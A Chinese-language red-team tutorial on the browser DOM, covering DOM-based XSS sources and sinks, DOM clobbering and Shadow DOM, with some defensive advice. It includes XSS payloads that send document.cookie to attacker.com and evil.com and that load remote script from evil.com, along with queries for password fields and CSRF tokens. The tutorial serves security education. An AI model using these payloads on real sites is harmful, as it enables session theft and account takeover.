目录


一、什么是DOM

DOM (Document Object Model) 是浏览器将HTML/XML文档解析后的树形对象模型。DOM API提供了操作页面的编程接口。

文档根节点 (document)
└── html
    ├── head
    │   ├── meta
    │   ├── title
    │   └── link
    └── body
        ├── div#app
        │   ├── h1
        │   └── p
        ├── script
        └── footer

关键概念

概念说明
document整个文档的入口对象
Node所有DOM节点的基类
ElementHTML元素节点
Attr属性节点
Text文本节点
window全局对象(浏览器窗口)

二、DOM查询与遍历

查询方法

// 通过ID(最快)
document.getElementById('login-form');
 
// 通过CSS选择器(推荐)
document.querySelector('#login-form');
document.querySelectorAll('.input-field');
 
// 通过类名
document.getElementsByClassName('input-field');
 
// 通过标签名
document.getElementsByTagName('input');
 
// 通过name属性
document.getElementsByName('csrf_token');

遍历关系

element.parentNode         // 父节点
element.childNodes         // 所有子节点(含文本节点)
element.children           // 子元素(不含文本节点)
element.firstElementChild  // 第一个子元素
element.lastElementChild   // 最后一个子元素
element.previousElementSibling  // 前一个兄弟元素
element.nextElementSibling      // 后一个兄弟元素

XSS中的DOM查询

// 查找所有密码输入框
document.querySelectorAll('input[type="password"]');
 
// 查找所有可提交的表单
document.querySelectorAll('form[action]');
 
// 查找所有隐藏的CSRF Token
document.querySelectorAll('input[name$="token"]');
document.querySelectorAll('input[name$="csrf"]');
 
// 快速提取token值
var token = document.querySelector('input[name="csrf_token"]').value;

三、DOM修改与创建

文本操作

// 危险 —— 直接设置HTML(XSS入口!)
element.innerHTML = '<img src=x onerror=alert(1)>';
element.outerHTML = '<div>new</div>';
 
// 危险 —— 插入相邻HTML
element.insertAdjacentHTML('beforeend', '<img src=x onerror=alert(1)>');
 
// 安全 —— 纯文本(自动转义)
element.textContent = '<script>alert(1)</script>';  // 显示为文本
element.innerText = '<script>alert(1)</script>';    // 同上

属性操作

// 获取/设置属性
element.getAttribute('href');
element.setAttribute('href', 'https://evil.com');
element.removeAttribute('hidden');
 
// 便捷访问(部分属性)
element.id;          // 等同于 element.getAttribute('id')
element.className;   // class属性
element.href;        // a标签的href
element.src;         // img/script的src
element.value;       // input的value

创建元素

const img = document.createElement('img');
img.src = 'https://attacker.com/steal?cookie=' + document.cookie;
document.body.appendChild(img);

删除元素

element.remove();           // 现代方法
element.parentNode.removeChild(element);  // 传统方法

四、事件系统

事件绑定

// HTML属性方式(内联事件)
<button onclick="alert(1)">
 
// DOM属性方式
element.onclick = function() { alert(1); };
 
// addEventListener(推荐,可多个监听器)
element.addEventListener('click', function(e) {
  e.preventDefault();  // 阻止默认行为
  e.stopPropagation(); // 阻止冒泡
});

事件流三阶段

捕获阶段 (Capture) → 目标阶段 (Target) → 冒泡阶段 (Bubble)
   ↓                       ↓                    ↓
document → html → body → button → body → html → document

红队常用事件

事件触发无用户交互
onerror资源加载失败
onload元素加载完成
onfocus + autofocus获得焦点
onanimationendCSS动画结束
onscroll滚动
onclick点击
oninput输入
onmouseover悬停
oncopy复制

事件对象

element.addEventListener('click', function(e) {
  e.target;           // 触发事件的元素
  e.currentTarget;    // 事件绑定的元素
  e.type;             // 事件类型
  e.clientX/clientY;  // 鼠标坐标
  e.key;              // 按键值(键盘事件)
  
  // XSS中常用
  e.preventDefault();   // 阻止默认(如表单提交)
  e.stopPropagation();  // 阻止冒泡
});

五、DOM XSS详解

类型

类型1:Source → Sink(源到汇聚点)

// Source:用户可控的数据
var user = location.hash.substring(1);   // URL # 后内容
var user = location.search.substring(1); // URL ? 后内容
var user = document.referrer;            // 来源URL
var user = window.name;                  // 窗口名称
var user = postMessage data;             // 跨域消息
 
// 危险Sink(= XSS)
element.innerHTML = user;            // HTML上下文
element.outerHTML = user;
document.write(user);
document.writeln(user);
eval(user);
new Function(user);
setTimeout(user);
setInterval(user);
element.setAttribute('onclick', user);  // 属性上下文

类型2:常见Source列表

// URL相关
location / location.href / location.hash / location.search
document.URL / document.documentURI / document.baseURI
 
// 存储相关
document.cookie
localStorage.getItem('key')
sessionStorage.getItem('key')
 
// 通信相关
postMessage (event.data)
window.name
 
// 导航相关
document.referrer
history.pushState / replaceState (state参数)

DOM型XSS payload构造

// Source: URL hash
// https://target.com/page#<img src=x onerror=alert(1)>
 
// 页面JS(存在DOM XSS)
var userAnchor = location.hash.substring(1);
document.getElementById('welcome').innerHTML = userAnchor;
// 结果:<img>注入到页面中,触发alert

防御DOM XSS

// 正确做法
element.textContent = userInput;     // 纯文本(安全)
element.setAttribute(key, value);    // 自动转义属性值
 
// JavaScript字符串上下文中需手动转义
var clean = userInput.replace(/"/g, '\\"').replace(/'/g, "\\'");

六、DOM Clobbering攻击

原理

HTML中的 idname 属性会在 window 对象上创建同名全局变量。攻击者可以在页面上创建元素,覆盖已有的全局变量或对象属性。

<!-- 攻击者注入 -->
<form id="config">
  <input name="isAdmin" value="true">
</form>
 
<!-- 原有代码 -->
<script>
  // config 被覆盖为 DOM 元素,不再是原有的配置对象
  if (config.isAdmin) {   // config.isAdmin 是 <input> 元素
    // config.isAdmin 的 truthy 值绕过了权限检查
  }
</script>

双层嵌套Clobbering

<!-- 构造嵌套对象 -->
<form id="app">
  <input name="user" value="admin">
  <img name="role" src="x">  <!-- role 被设置为 img 元素 -->
</form>
 
<script>
  // app.user => <input> 元素
  // app.user.value => "admin"
  // 绕过了 `if (app.user === 'admin')` 的检查
</script>

HTMLCollection的陷阱

<form id="actions">
  <a id="submit" href="javascript:evil()">Submit</a>
</form>
 
<script>
  // document.getElementById('submit') 原来的代码
  // 被 form 内的 <a> 覆盖
  // 调用 submit() 可能导航到 javascript:evil()
</script>

检测与利用

// 测试页面是否存在DOM Clobbering
console.log(window.config);  // 看是否返回DOM元素而非预期对象
console.log(typeof window.config);  // 如果是 'object' 而非预期类型

七、Shadow DOM与Web Components

Shadow DOM

Shadow DOM 将DOM子树封装在独立的作用域中,样式和JS与外部隔离。

const host = document.getElementById('host');
const shadow = host.attachShadow({ mode: 'open' });  // 'open' 可被JS访问
shadow.innerHTML = `<style>p{color:red}</style><p>Shadow DOM content</p>`;

红队关注:

  • mode: 'closed' 不能通过 element.shadowRoot 访问(但仍可通过原型链污染绕过)
  • Shadow DOM内的CSS选择器不会泄露到外部
  • XSS payload如果注入在Shadow DOM内部,作用范围受限
  • 但如果注入在Shadow DOM外,内部的选择器不会泄露隐私

自定义元素 (Custom Elements)

class MyElement extends HTMLElement {
  constructor() {
    super();
    this.innerHTML = `<p>Custom element content</p>`;
  }
}
customElements.define('my-element', MyElement);

八、红队视角总结

DOM XSS攻击检查清单

  • 页面JS是否使用 innerHTML 处理URL参数?
  • 是否使用 document.write() 动态写页面内容?
  • jQuery的 .html() 是否有用户输入?
  • 是否使用 eval() 处理URL hash?
  • postMessage 处理器是否验证了 event.origin
  • 是否存在DOM Clobbering风险(全局变量与HTML id冲突)?

常用DOM XSS payload模板

// 基础
"<img src=x onerror=alert(1)>"
"<svg/onload=alert(1)>"
"<body onload=alert(1)>"
 
// 利用现有变量
"<img src=x onerror=alert(document.cookie)>"
"<img src=x onerror=fetch('//evil.com?c='+document.cookie)>"
 
// 绕过长度限制
`<img src=x onerror="import('//evil.com/exploit.js')">`  // 现代动态import
 
// DOM Clobbering payload
<form id=___config__><input name=isAdmin value=true>

返回 JavaScript 总目录 | 前端基础总目录